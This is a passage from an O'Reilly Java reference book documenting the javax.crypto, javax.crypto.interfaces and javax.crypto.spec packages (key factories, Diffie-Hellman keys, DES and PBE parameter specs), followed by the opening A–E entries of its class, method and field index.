 | public final String getAlgorithm ();
 | public final java.security.spec.KeySpec getKeySpec (SecretKey key, Class keySpec) throws java.security.spec.InvalidKeySpecException;
 | public final java.security.Provider getProvider ();
 | public final SecretKey translateKey (SecretKey key) throws java.security.InvalidKeyException;
}

Returned By: SecretKeyFactory.getInstance()

SecretKeyFactorySpi JCE 1.2
javax.crypto

This abstract class defines the service-provider interface for SecretKeyFactory. A cryptographic provider must implement a concrete subclass of this class for each type of secret key it supports. Applications never need to use or subclass this class.

public abstract class SecretKeyFactorySpi {
// | Public Constructors
 | public SecretKeyFactorySpi ();
// | Protected Instance Methods
 | protected abstract SecretKey engineGenerateSecret (java.security.spec.KeySpec keySpec) throws java.security.spec.InvalidKeySpecException;
 | protected abstract java.security.spec.KeySpec engineGetKeySpec (SecretKey key, Class keySpec) throws java.security.spec.InvalidKeySpecException;
 | protected abstract SecretKey engineTranslateKey (SecretKey key) throws java.security.InvalidKeyException;
}

Passed To: SecretKeyFactory.SecretKeyFactory()

ShortBufferException | JCE 1.2
javax.crypto | serializable checked

Signals that an output buffer is too short to hold the results of an operation.

public class ShortBufferException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public ShortBufferException ();
 | public ShortBufferException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->ShortBufferException

Thrown By: Cipher.{doFinal(), update()}, CipherSpi.{engineDoFinal(), engineUpdate()}, KeyAgreement.generateSecret(), KeyAgreementSpi.engineGenerateSecret(), Mac.doFinal()

Previous | Home | Next
25.1. The java.util.zip Package | Book Index | 27. The javax.crypto.interfaces Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.crypto.interfaces Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 27. The javax.crypto.interfaces Package

The interfaces in the javax.crypto.interfaces package define the methods that must be supported by the Diffie-Hellman public/private key pairs used in the Diffie-Hellman key-agreement protocol. These interfaces are typically of interest only to programmers who are implementing a cryptographic provider or who want to implement cryptographic algorithms themselves. Use of this package requires basic familiarity with the Diffie-Hellman key-agreement algorithm and the mathematics that underlie it. Figure 27-1 shows the class hierarchy of this package. Note that the javax.crypto.spec package also contains classes that provide algorithm-specific details about Diffie-Hellman keys.

Figure 27-1. The javax.crypto.interfaces package

DHKey JCE 1.2
javax.crypto.interfaces

This interface represents a Diffie-Hellman key. The javax.crypto.spec.DHParameterSpec returned by getParams() specifies the parameters that generate the key; they define a key family. See the subinterfaces DHPublicKey and DHPrivateKey for the actual key values.

public abstract interface DHKey {
// | Public Instance Methods
 | public abstract javax.crypto.spec.DHParameterSpec getParams ();
}

Implementations: DHPrivateKey, DHPublicKey

DHPrivateKey | JCE 1.2
javax.crypto.interfaces | serializable

This interface represents a Diffie-Hellman private key. Note that it extends two interfaces: DHKey and java.security.PrivateKey. getX() returns the private-key value. If you are working with a PrivateKey you know is a Diffie-Hellman key, you can cast your PrivateKey to a DHPrivateKey.

public abstract interface DHPrivateKey extends DHKey, java.security.PrivateKey {
// | Public Instance Methods
 | public abstract java.math.BigInteger getX ();
}

Hierarchy: (DHPrivateKey(DHKey,java.security.PrivateKey(java.security.Key(Serializable))))

DHPublicKey | JCE 1.2
javax.crypto.interfaces | serializable

This interface represents a Diffie-Hellman public key. Note that it extends two interfaces: DHKey and java.security.PublicKey. getY() returns the public-key value. If you are working with a PublicKey you know is a Diffie-Hellman key, you can cast your PublicKey to a DHPublicKey.

public abstract interface DHPublicKey extends DHKey, java.security.PublicKey {
// | Public Instance Methods
 | public abstract java.math.BigInteger getY ();
}

Hierarchy: (DHPublicKey(DHKey,java.security.PublicKey(java.security.Key(Serializable))))

Previous | Home | Next
26.1. The javax.crypto Package | Book Index | 28. The javax.crypto.spec Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.crypto.spec Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 28. The javax.crypto.spec Package

The javax.crypto.spec package contains classes that define transparent java.security.spec.KeySpec and java.security.spec.AlgorithmParameterSpec representations of secret keys, Diffie-Hellman public and private keys, and parameters used by various cryptographic algorithms. The classes in this package are used in conjunction with java.security.KeyFactory, javax.crypto.SecretKeyFactory and java.security.AlgorithmParameters for converting opaque Key, and AlgorithmParameters objects to and from transparent representations. Figure 28-1 shows the class hierarchy of this package. In order to make good use of this package, you must be familiar with the specifications of the various cryptographic algorithms it supports and the basic mathematics that underlie those algorithms.

Figure 28-1. The javax.crypto.spec package

DESedeKeySpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of a DESede (triple-DES) key. The key is 24 bytes long.

public class DESedeKeySpec implements java.security.spec.KeySpec {
// | Public Constructors
 | public DESedeKeySpec (byte[ ] key) throws java.security.InvalidKeyException; |
 | public DESedeKeySpec (byte[ ] key, int offset) throws java.security.InvalidKeyException; |
// | Public Constants
 | public static final int DES_EDE_KEY_LEN ; | =24
// | Public Class Methods
 | public static boolean isParityAdjusted (byte[ ] key, int offset) throws java.security.InvalidKeyException; |
// | Public Instance Methods
 | public byte[ ] getKey (); |
}

Hierarchy: Object-->DESedeKeySpec(java.security.spec.KeySpec)

DESKeySpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of a DES key. The key is eight bytes long.

public class DESKeySpec implements java.security.spec.KeySpec {
// | Public Constructors
 | public DESKeySpec (byte[ ] key) throws java.security.InvalidKeyException; |
 | public DESKeySpec (byte[ ] key, int offset) throws java.security.InvalidKeyException; |
// | Public Constants
 | public static final int DES_KEY_LEN ; | =8
// | Public Class Methods
 | public static boolean isParityAdjusted (byte[ ] key, int offset) throws java.security.InvalidKeyException; |
 | public static boolean isWeak (byte[ ] key, int offset) throws java.security.InvalidKeyException; |
// | Public Instance Methods
 | public byte[ ] getKey (); |
}

Hierarchy: Object-->DESKeySpec(java.security.spec.KeySpec)

DHGenParameterSpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of the values needed to generate a set of Diffie-Hellman parameters (see DHParameterSpec). An instance of this class can be passed to the init() method of a java.security.AlgorithmParameterGenerator that computes Diffie-Hellman parameters.

public class DHGenParameterSpec implements java.security.spec.AlgorithmParameterSpec {
// | Public Constructors
 | public DHGenParameterSpec (int primeSize, int exponentSize);
// | Public Instance Methods
 | public int getExponentSize ();
 | public int getPrimeSize ();
}

Hierarchy: Object-->DHGenParameterSpec(java.security.spec.AlgorithmParameterSpec)

DHParameterSpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of the set of parameters required by the Diffie-Hellman key-agreement algorithm. All parties to the key agreement must share these parameters and use them to generate a Diffie-Hellman public/private key pair.

public class DHParameterSpec implements java.security.spec.AlgorithmParameterSpec {
// | Public Constructors
 | public DHParameterSpec (java.math.BigInteger p, java.math.BigInteger g);
 | public DHParameterSpec (java.math.BigInteger p, java.math.BigInteger g, int l);
// | Public Instance Methods
 | public java.math.BigInteger getG ();
 | public int getL ();
 | public java.math.BigInteger getP ();
}

Hierarchy: Object-->DHParameterSpec(java.security.spec.AlgorithmParameterSpec)

Returned By: javax.crypto.interfaces.DHKey.getParams()

DHPrivateKeySpec JCE 1.2
javax.crypto.spec

This java.security.spec.KeySpec is a transparent representation of a Diffie-Hellman private key.

public class DHPrivateKeySpec implements java.security.spec.KeySpec {
// | Public Constructors
 | public DHPrivateKeySpec (java.math.BigInteger x, java.math.BigInteger p, java.math.BigInteger g);
// | Public Instance Methods
 | public java.math.BigInteger getG ();
 | public java.math.BigInteger getP ();
 | public java.math.BigInteger getX ();
}

Hierarchy: Object-->DHPrivateKeySpec(java.security.spec.KeySpec)

DHPublicKeySpec JCE 1.2
javax.crypto.spec

This java.security.spec.KeySpec is a transparent representation of a Diffie-Hellman public key.

public class DHPublicKeySpec implements java.security.spec.KeySpec {
// | Public Constructors
 | public DHPublicKeySpec (java.math.BigInteger y, java.math.BigInteger p, java.math.BigInteger g);
// | Public Instance Methods
 | public java.math.BigInteger getG ();
 | public java.math.BigInteger getP ();
 | public java.math.BigInteger getY ();
}

Hierarchy: Object-->DHPublicKeySpec(java.security.spec.KeySpec)

IvParameterSpec JCE 1.2
javax.crypto.spec

This java.security.spec.AlgorithmParameterSpec is a transparent representation of an initialization vector or IV. An IV is required for block ciphers used in feedback mode, such as DES in CBC mode.

public class IvParameterSpec implements java.security.spec.AlgorithmParameterSpec {
// | Public Constructors
 | public IvParameterSpec (byte[ ] iv);
 | public IvParameterSpec (byte[ ] iv, int offset, int len);
// | Public Instance Methods
 | public byte[ ] getIV ();
}

Hierarchy: Object-->IvParameterSpec(java.security.spec.AlgorithmParameterSpec)

PBEKeySpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of a password used in password-based encryption (PBE). The password is stored as a char array rather than as a String, so that the characters of the password can be overwritten when they are no longer needed (for increased security).

public class PBEKeySpec implements java.security.spec.KeySpec {
// | Public Constructors
 | public PBEKeySpec (char[ ] password);
// | Public Instance Methods
 | public final char[ ] getPassword ();
}

Hierarchy: Object-->PBEKeySpec(java.security.spec.KeySpec)

PBEParameterSpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of the parameters used with the password-based encryption algorithm defined by PKCS#5.

public class PBEParameterSpec implements java.security.spec.AlgorithmParameterSpec {
// | Public Constructors
 | public PBEParameterSpec (byte[ ] salt, int iterationCount);
// | Public Instance Methods
 | public int getIterationCount ();
 | public byte[ ] getSalt ();
}

Hierarchy: Object-->PBEParameterSpec(java.security.spec.AlgorithmParameterSpec)

RC2ParameterSpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of the parameters used by the RC2 encryption algorithm. An object of this class initializes a Cipher object that implements RC2. Note that the "SunJCE" provider supplied by Sun does not implement RC2.

public class RC2ParameterSpec implements java.security.spec.AlgorithmParameterSpec {
// | Public Constructors
 | public RC2ParameterSpec (int effectiveKeyBits);
 | public RC2ParameterSpec (int effectiveKeyBits, byte[ ] iv);
 | public RC2ParameterSpec (int effectiveKeyBits, byte[ ] iv, int offset);
// | Public Instance Methods
 | public int getEffectiveKeyBits ();
 | public byte[ ] getIV ();
}

Hierarchy: Object-->RC2ParameterSpec(java.security.spec.AlgorithmParameterSpec)

RC5ParameterSpec JCE 1.2
javax.crypto.spec

This class is a transparent representation of the parameters used by the RC5 encryption algorithm. An object of this class initializes a Cipher object that implements RC5. Note that the "SunJCE" provider supplied by Sun does not implement RC5.

public class RC5ParameterSpec implements java.security.spec.AlgorithmParameterSpec {
// | Public Constructors
 | public RC5ParameterSpec (int version, int rounds, int wordSize);
 | public RC5ParameterSpec (int version, int rounds, int wordSize, byte[ ] iv);
 | public RC5ParameterSpec (int version, int rounds, int wordSize, byte[ ] iv, int offset);
// | Public Instance Methods
 | public byte[ ] getIV ();
 | public int getRounds ();
 | public int getVersion ();
 | public int getWordSize ();
}

Hierarchy: Object-->RC5ParameterSpec(java.security.spec.AlgorithmParameterSpec)

SecretKeySpec | JCE 1.2
javax.crypto.spec | serializable

This class is a transparent and algorithm-independent representation of a secret key. This class is useful only for encryption algorithms (such as DES and DESede) whose secret keys can be represented as arbitrary byte arrays and do not require auxiliary parameters. Note that SecretKeySpec implements the javax.crypto.SecretKey interface directly, so no algorithm-specific javax.crypto.SecretKeyFactory object is required.

public class SecretKeySpec implements java.security.spec.KeySpecjavax.crypto.SecretKey {
// | Public Constructors
 | public SecretKeySpec (byte[ ] key, String algorithm);
 | public SecretKeySpec (byte[ ] key, int offset, int len, String algorithm);
// | Methods Implementing Key
 | public String getAlgorithm ();
 | public byte[ ] getEncoded ();
 | public String getFormat ();
// | Public Methods Overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
}

Hierarchy: Object-->SecretKeySpec(java.security.spec.KeySpec,javax.crypto.SecretKey(java.security.Key(Serializable)))

Previous | Home | Next
27.1. The javax.crypto.interfaces Package | Book Index | 29. Class, Method, and Field Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Class, Method, and Field Index (Java in a Nutshell)

 Java in a Nutshell Search this book

Chapter 29. Class, Method, and Field Index

The following index allows you to look up a class or interface and find what package it is defined in. It also allows you to look up a method or field and find what class it is defined in. Use it when you want to look up a class but don't know its package, or when you want to look up a method but don't know its class.

A

abs() | BigDecimal, BigInteger, Math, StrictMath
ABSTRACT | Modifier
AbstractCollection | java.util
AbstractList | java.util
AbstractMap | java.util
AbstractMethodError | java.lang
AbstractSequentialList | java.util
AbstractSet | java.util
accept() | FileFilter, FilenameFilter, ServerSocket, SocketImpl
AccessControlContext | java.security
AccessControlException | java.security
AccessController | java.security
AccessibleObject | java.lang.reflect
Acl | java.security.acl
AclEntry | java.security.acl
AclNotFoundException | java.security.acl
acos() | Math, StrictMath
activate() | AppletInitializer
activeCount() | Thread, ThreadGroup
activeGroupCount() | ThreadGroup
AD | GregorianCalendar
add() | AbstractCollection, AbstractList, AbstractSequentialList, ArrayList, BeanContextSupport, BigDecimal, BigInteger, Calendar, Collection, GregorianCalendar, HashSet, LinkedList, List, ListIterator, PermissionCollection, Permissions, Set, TreeSet, Vector
addAll() | AbstractCollection, AbstractList, AbstractSequentialList, ArrayList, BeanContextSupport, Collection, LinkedList, List, Set, TreeSet, Vector
addAttribute() | AttributedString
addAttributes() | AttributedString
addBeanContextMembershipListener() | BeanContext, BeanContextSupport
addBeanContextServicesListener() | BeanContextServices, BeanContextServicesSupport
addCertificate() | Identity
addElement() | Vector
addEntry() | Acl
addFirst() | LinkedList
addIdentity() | IdentityScope
addLast() | LinkedList
addMember() | Group
addObserver() | Observable
addOwner() | Owner
addPermission() | AclEntry
addPropertyChangeListener() | BeanContextChild, BeanContextChildSupport, Customizer, PropertyChangeSupport, PropertyEditor, PropertyEditorSupport
addProvider() | Security
address | SocketImpl
addService() | BeanContextServices, BeanContextServicesSupport
addShutdownHook() | Runtime
addURL() | URLClassLoader
addVetoableChangeListener() | BeanContextChild, BeanContextChildSupport, VetoableChangeSupport
Adler32 | java.util.zip
after() | Calendar, Date
AlgorithmParameterGenerator | java.security
AlgorithmParameterGeneratorSpi | java.security
AlgorithmParameters | java.security
AlgorithmParameterSpec | java.security.spec
AlgorithmParametersSpi | java.security
aliases() | KeyStore
allowThreadSuspension() | ThreadGroup
allowUserInteraction | URLConnection
AllPermission | java.security
ALPHABETIC_PRESENTATION_FORMS | UnicodeBlock
AM | Calendar
AM_PM | Calendar
AM_PM_FIELD | DateFormat
and() | BigInteger, BitSet
andNot() | BigInteger, BitSet
annotateClass() | ObjectOutputStream
annotateProxyClass() | ObjectOutputStream
Annotation | java.text
append() | StringBuffer
AppletInitializer | java.beans
applyLocalizedPattern() | DecimalFormat, SimpleDateFormat
applyPattern() | ChoiceFormat, DecimalFormat, MessageFormat, SimpleDateFormat
appRandom | SignatureSpi
APRIL | Calendar
ARABIC | UnicodeBlock
ARABIC_PRESENTATION_FORMS_A | UnicodeBlock
ARABIC_PRESENTATION_FORMS_B | UnicodeBlock
areFieldsSet | Calendar
ArithmeticException | java.lang
ARMENIAN | UnicodeBlock
Array | java.lang.reflect
arraycopy() | System
ArrayIndexOutOfBoundsException | java.lang
ArrayList | java.util
Arrays | java.util
ArrayStoreException | java.lang
ARROWS | UnicodeBlock
asin() | Math, StrictMath
asList() | Arrays
atan() | Math, StrictMath
atan2() | Math, StrictMath
Attribute | java.text.AttributedCharacterIterator
AttributedCharacterIterator | java.text
AttributedCharacterIterator.Attribute | java.text
AttributedString | java.text
attributeNames() | FeatureDescriptor
Attributes | java.util.jar
Attributes.Name | java.util.jar
AUGUST | Calendar
Authenticator | java.net
available() | BufferedInputStream, ByteArrayInputStream, CipherInputStream, FileInputStream, FilterInputStream, InflaterInputStream, InputStream, LineNumberInputStream, ObjectInput, ObjectInputStream, PipedInputStream, PushbackInputStream, SequenceInputStream, SocketImpl, StringBufferInputStream, ZipInputStream
avoidingGui() | BeanContextSupport, Visibility

B

BadPaddingException | javax.crypto
baseWireHandle | ObjectStreamConstants
BASIC_LATIN | UnicodeBlock
BasicPermission | java.security
BC | GregorianCalendar
bcmListeners | BeanContextSupport
BCSChild | java.beans.beancontext.BeanContextSupport
bcsChildren() | BeanContextSupport
BCSIterator | java.beans.beancontext.BeanContextSupport
bcsListeners | BeanContextServicesSupport
bcsPreDeserializationHook() | BeanContextServicesSupport, BeanContextSupport
bcsPreSerializationHook() | BeanContextServicesSupport, BeanContextSupport
BCSSChild | java.beans.beancontext.BeanContextServicesSupport
BCSSProxyServiceProvider | java.beans.beancontext.BeanContextServicesSupport
BCSSServiceProvider | java.beans.beancontext.BeanContextServicesSupport
beanContext | BeanContextChildSupport
BeanContext | java.beans.beancontext
BeanContextChild | java.beans.beancontext
BeanContextChildComponentProxy | java.beans.beancontext
beanContextChildPeer | BeanContextChildSupport
BeanContextChildSupport | java.beans.beancontext
BeanContextContainerProxy | java.beans.beancontext
BeanContextEvent | java.beans.beancontext
BeanContextMembershipEvent | java.beans.beancontext
BeanContextMembershipListener | java.beans.beancontext
BeanContextProxy | java.beans.beancontext
BeanContextServiceAvailableEvent | java.beans.beancontext
BeanContextServiceProvider | java.beans.beancontext
BeanContextServiceProviderBeanInfo | java.beans.beancontext
BeanContextServiceRevokedEvent | java.beans.beancontext
BeanContextServiceRevokedListener | java.beans.beancontext
BeanContextServices | java.beans.beancontext
BeanContextServicesListener | java.beans.beancontext
BeanContextServicesSupport | java.beans.beancontext
BeanContextServicesSupport.BCSSChild | java.beans.beancontext
BeanContextServicesSupport.BCSSProxyServiceProvider | java.beans.beancontext
BeanContextServicesSupport.BCSSServiceProvider | java.beans.beancontext
BeanContextSupport | java.beans.beancontext
BeanContextSupport.BCSChild | java.beans.beancontext
BeanContextSupport.BCSIterator | java.beans.beancontext
BeanDescriptor | java.beans
BeanInfo | java.beans
Beans | java.beans
before() | Calendar, Date
BENGALI | UnicodeBlock
BEST_COMPRESSION | Deflater
BEST_SPEED | Deflater
BigDecimal | java.math
BigInteger | java.math
binarySearch() | Arrays, Collections
bind() | DatagramSocketImpl, SocketImpl
BindException | java.net
bitCount() | BigInteger
bitLength() | BigInteger
BitSet | java.util
BLOCK_ELEMENTS | UnicodeBlock
Boolean | java.lang
booleanValue() | Boolean
BOPOMOFO | UnicodeBlock
BOX_DRAWING | UnicodeBlock
BreakIterator | java.text
buf | BufferedInputStream, BufferedOutputStream, ByteArrayInputStream, ByteArrayOutputStream, CharArrayReader, CharArrayWriter, DeflaterOutputStream, InflaterInputStream, PushbackInputStream
buffer | PipedInputStream, StringBufferInputStream
BufferedInputStream | java.io
BufferedOutputStream | java.io
BufferedReader | java.io
BufferedWriter | java.io
Byte | java.lang
ByteArrayInputStream | java.io
ByteArrayOutputStream | java.io
bytesTransferred | InterruptedIOException
byteValue() | Byte, Double, Float, Integer, Long, Number, Short

C

Calendar | java.util
calendar | DateFormat
CANADA | Locale
CANADA_FRENCH | Locale
cancel() | Timer, TimerTask
CANONICAL_DECOMPOSITION | Collator
canRead() | File
canWrite() | File
capacity() | StringBuffer, Vector
capacityIncrement | Vector
CASE_INSENSITIVE_ORDER | String
ceil() | Math, StrictMath
Certificate | java.security, java.security.cert
Certificate.CertificateRep | java.security.cert
CertificateEncodingException | java.security.cert
CertificateException | java.security.cert
CertificateExpiredException | java.security.cert
CertificateFactory | java.security.cert
CertificateFactorySpi | java.security.cert
CertificateNotYetValidException | java.security.cert
CertificateParsingException | java.security.cert
CertificateRep | java.security.cert.Certificate
certificates() | Identity
Character | java.lang
Character.Subset | java.lang
Character.UnicodeBlock | java.lang
CharacterIterator | java.text
CharArrayReader | java.io
CharArrayWriter | java.io
charAt() | String, StringBuffer
CharConversionException | java.io
charValue() | Character
checkAccept() | SecurityManager
checkAccess() | SecurityManager, Thread, ThreadGroup
checkAwtEventQueueAccess() | SecurityManager
checkConnect() | SecurityManager
checkCreateClassLoader() | SecurityManager
checkDelete() | SecurityManager
CheckedInputStream | java.util.zip
CheckedOutputStream | java.util.zip
checkError() | PrintStream, PrintWriter
checkExec() | SecurityManager
checkExit() | SecurityManager
checkGuard() | Guard, Permission
checkLink() | SecurityManager
checkListen() | SecurityManager
checkMemberAccess() | SecurityManager
checkMulticast() | SecurityManager
checkPackageAccess() | SecurityManager
checkPackageDefinition() | SecurityManager
checkPermission() | AccessControlContext, AccessController, Acl, AclEntry, SecurityManager
checkPrintJobAccess() | SecurityManager
checkPropertiesAccess() | SecurityManager
checkPropertyAccess() | SecurityManager
checkRead() | SecurityManager
checkSecurityAccess() | SecurityManager
checkSetFactory() | SecurityManager
Checksum | java.util.zip
checkSystemClipboardAccess() | SecurityManager
checkTopLevelWindow() | SecurityManager
checkValidity() | X509Certificate
checkWrite() | SecurityManager
childDeserializedHook() | BeanContextSupport
childJustAddedHook() | BeanContextSupport
childJustRemovedHook() | BeanContextServicesSupport, BeanContextSupport
children | BeanContextMembershipEvent, BeanContextSupport
childrenAdded() | BeanContextMembershipListener
childrenRemoved() | BeanContextMembershipListener
childValue() | InheritableThreadLocal
CHINA | Locale
CHINESE | Locale
ChoiceFormat | java.text
Cipher | javax.crypto
CipherInputStream | javax.crypto
CipherOutputStream | javax.crypto
CipherSpi | javax.crypto
CJK_COMPATIBILITY | UnicodeBlock
CJK_COMPATIBILITY_FORMS | UnicodeBlock
CJK_COMPATIBILITY_IDEOGRAPHS | UnicodeBlock
CJK_SYMBOLS_AND_PUNCTUATION | UnicodeBlock
CJK_UNIFIED_IDEOGRAPHS | UnicodeBlock
Class | java.lang
CLASS_PATH | Name
ClassCastException | java.lang
ClassCircularityError | java.lang
classDepth() | SecurityManager
classEquals() | BeanContextSupport
ClassFormatError | java.lang
ClassLoader | java.lang
classLoaderDepth() | SecurityManager
classname | InvalidClassException
ClassNotFoundException | java.lang
clear() | AbstractCollection, AbstractList, AbstractMap, ArrayList, Attributes, BeanContextSupport, BitSet, Calendar, Collection, HashMap, HashSet, Hashtable, LinkedList, List, Manifest, Map, Provider, Reference, Set, TreeMap, TreeSet, Vector, WeakHashMap
clearBit() | BigInteger
clearChanged() | Observable
clone() | AclEntry, ArrayList, Attributes, BitSet, BreakIterator, Calendar, CharacterIterator, ChoiceFormat, Collator, Date, DateFormat, DateFormatSymbols, DecimalFormat, DecimalFormatSymbols, Format, HashMap, HashSet, Hashtable, LinkedList, Locale, Mac, MacSpi, Manifest, MessageDigest, MessageDigestSpi, MessageFormat, NumberFormat, Object, RuleBasedCollator, Signature, SignatureSpi, SimpleDateFormat, SimpleTimeZone, StringCharacterIterator, TimeZone, TreeMap, TreeSet, Vector, ZipEntry
Cloneable | java.lang
CloneNotSupportedException | java.lang
close() | BufferedInputStream, BufferedReader, BufferedWriter, ByteArrayInputStream, ByteArrayOutputStream, CharArrayReader, CharArrayWriter, CipherInputStream, CipherOutputStream, DatagramSocket, DatagramSocketImpl, DeflaterOutputStream, FileInputStream, FileOutputStream, FilterInputStream, FilterOutputStream, FilterReader, FilterWriter, GZIPInputStream, GZIPOutputStream, InflaterInputStream, InputStream, InputStreamReader, ObjectInput, ObjectInputStream, ObjectOutput, ObjectOutputStream, OutputStream, OutputStreamWriter, PipedInputStream, PipedOutputStream, PipedReader, PipedWriter, PrintStream, PrintWriter, PushbackInputStream, PushbackReader, RandomAccessFile, Reader, SequenceInputStream, ServerSocket, Socket, SocketImpl, StringReader, StringWriter, Writer, ZipFile, ZipInputStream, ZipOutputStream
closeEntry() | ZipInputStream, ZipOutputStream
CodeSource | java.security
CollationElementIterator | java.text
CollationKey | java.text
Collator | java.text
Collection | java.util
Collections | java.util
combine() | DomainCombiner
COMBINING_DIACRITICAL_MARKS | UnicodeBlock
COMBINING_HALF_MARKS | UnicodeBlock
COMBINING_MARKS_FOR_SYMBOLS | UnicodeBlock
COMBINING_SPACING_MARK | Character
command() | Compiler
commentChar() | StreamTokenizer
CompactShortArray.Iterator | java.text
Comparable | java.lang
Comparator | java.util
comparator() | SortedMap, SortedSet, TreeMap, TreeSet
compare() | Collator, Comparator, RuleBasedCollator
compareTo() | BigDecimal, BigInteger, Byte, Character, CollationKey, Comparable, Date, Double, File, Float, Integer, Long, ObjectStreamField, Short, String
compareToIgnoreCase() | String
compileClass() | Compiler
compileClasses() | Compiler
Compiler | java.lang
complete() | Calendar
computeFields() | Calendar, GregorianCalendar
computeTime() | Calendar, GregorianCalendar
concat() | String
ConcurrentModificationException | java.util
connect() | DatagramSocket, PipedInputStream, PipedOutputStream, PipedReader, PipedWriter, SocketImpl, URLConnection
connected | URLConnection
ConnectException | java.net
CONNECTOR_PUNCTUATION | Character
Constructor | java.lang.reflect
contains() | AbstractCollection, ArrayList, BeanContextMembershipEvent, BeanContextSupport, Collection, HashSet, Hashtable, LinkedList, List, Set, TreeSet, Vector
containsAlias() | KeyStore
containsAll() | AbstractCollection, BeanContextSupport, Collection, List, Set, Vector
containsKey() | AbstractMap, Attributes, BeanContextSupport, HashMap, Hashtable, Map, TreeMap, WeakHashMap
containsValue() | AbstractMap, Attributes, HashMap, Hashtable, Map, TreeMap
CONTENT_TYPE | Name
ContentHandler | java.net
ContentHandlerFactory | java.net
CONTROL | Character
CONTROL_PICTURES | UnicodeBlock
copy() | Collections
copyChildren() | BeanContextSupport
copyInto() | Vector
copyValueOf() | String
cos() | Math, StrictMath
count | BufferedInputStream, BufferedOutputStream, ByteArrayInputStream, ByteArrayOutputStream, CharArrayReader, CharArrayWriter, StringBufferInputStream
countObservers() | Observable
countStackFrames() | Thread
countTokens() | StringTokenizer
crc | GZIPInputStream, GZIPOutputStream
CRC32 | java.util.zip
create() | DatagramSocketImpl, SocketImpl
createBCSChild() | BeanContextServicesSupport, BeanContextSupport
createBCSSServiceProvider() | BeanContextServicesSupport
createContentHandler() | ContentHandlerFactory
createDatagramSocketImpl() | DatagramSocketImplFactory
createNewFile() | File
createSocketImpl() | SocketImplFactory
createTempFile() | File
createURLStreamHandler() | URLStreamHandlerFactory
createZipEntry() | JarInputStream, ZipInputStream
CRL | java.security.cert
CRLException | java.security.cert
CURRENCY_SYMBOL | Character
CURRENCY_SYMBOLS | UnicodeBlock
current() | BreakIterator, CharacterIterator, StringCharacterIterator
currentClassLoader() | SecurityManager
currentLoadedClass() | SecurityManager
currentThread() | Thread
currentTimeMillis() | System
Customizer | java.beans
CYRILLIC | UnicodeBlock

D

DASH_PUNCTUATION | Character
DataFormatException | java.util.zip
DatagramPacket | java.net
DatagramSocket | java.net
DatagramSocketImpl | java.net
DatagramSocketImplFactory | java.net
DataInput | java.io
DataInputStream | java.io
DataOutput | java.io
DataOutputStream | java.io
Date | java.util
DATE | Calendar
DATE_FIELD | DateFormat
DateFormat | java.text
DateFormatSymbols | java.text
DAY_OF_MONTH | Calendar
DAY_OF_WEEK | Calendar
DAY_OF_WEEK_FIELD | DateFormat
DAY_OF_WEEK_IN_MONTH | Calendar
DAY_OF_WEEK_IN_MONTH_FIELD | DateFormat
DAY_OF_YEAR | Calendar
DAY_OF_YEAR_FIELD | DateFormat
decapitalize() | Introspector
DECEMBER | Calendar
DECIMAL_DIGIT_NUMBER | Character
DecimalFormat | java.text
DecimalFormatSymbols | java.text
DECLARED | Member
decode() | Byte, Certificate, Integer, Long, Short, URLDecoder
DECRYPT_MODE | Cipher
def | DeflaterOutputStream
DEFAULT | DateFormat
DEFAULT_COMPRESSION | Deflater
DEFAULT_STRATEGY | Deflater
defaulted() | GetField
defaultReadObject() | ObjectInputStream
defaults | Properties
defaultWriteObject() | ObjectOutputStream
defineClass() | ClassLoader, SecureClassLoader
definePackage() | ClassLoader, URLClassLoader
deflate() | Deflater, DeflaterOutputStream
DEFLATED | Deflater, ZipEntry, ZipOutputStream
Deflater | java.util.zip
DeflaterOutputStream | java.util.zip
delete() | File, StringBuffer
deleteCharAt() | StringBuffer
deleteEntry() | KeyStore
deleteObserver() | Observable
deleteObservers() | Observable
deleteOnExit() | File
deleteOwner() | Owner
DES_EDE_KEY_LEN | DESedeKeySpec
DES_KEY_LEN | DESKeySpec
DESedeKeySpec | javax.crypto.spec
deserialize() | BeanContextSupport
DesignMode | java.beans
designTime | BeanContextSupport
DESKeySpec | javax.crypto.spec
destroy() | Process, Thread, ThreadGroup
detail | WriteAbortedException
DEVANAGARI | UnicodeBlock
DHGenParameterSpec | javax.crypto.spec
DHKey | javax.crypto.interfaces
DHParameterSpec | javax.crypto.spec
DHPrivateKey | javax.crypto.interfaces
DHPrivateKeySpec | javax.crypto.spec
DHPublicKey | javax.crypto.interfaces
DHPublicKeySpec | javax.crypto.spec
Dictionary | java.util
digest | DigestInputStream, DigestOutputStream
digest() | MessageDigest
DigestException | java.security
DigestInputStream | java.security
DigestOutputStream | java.security
digit() | Character
DINGBATS | UnicodeBlock
disable() | Compiler
disconnect() | DatagramSocket, HttpURLConnection
divide() | BigDecimal, BigInteger
divideAndRemainder() | BigInteger
doFinal() | Cipher, Mac
doInput | URLConnection
DomainCombiner | java.security
DONE | BreakIterator, CharacterIterator
dontUseGui() | BeanContextSupport, Visibility
doOutput | URLConnection
doPhase() | KeyAgreement
doPrivileged() | AccessController
Double | java.lang
doubleToLongBits() | Double
doubleToRawLongBits() | Double
doubleValue() | BigDecimal, BigInteger, Byte, Double, Float, Integer, Long, Number, Short
drain() | ObjectOutputStream
DSAKey | java.security.interfaces
DSAKeyPairGenerator | java.security.interfaces
DSAParameterSpec | java.security.spec
DSAParams | java.security.interfaces
DSAPrivateKey | java.security.interfaces
DSAPrivateKeySpec | java.security.spec
DSAPublicKey | java.security.interfaces
DSAPublicKeySpec | java.security.spec
DST_OFFSET | Calendar
dumpStack() | Thread

E

E | Math, StrictMath
elementAt() | Vector
elementCount | Vector
elementData | Vector
elements() | Dictionary, Hashtable, PermissionCollection, Permissions, Vector
empty() | Stack
EMPTY_LIST | Collections
EMPTY_MAP | Collections
EMPTY_SET | Collections
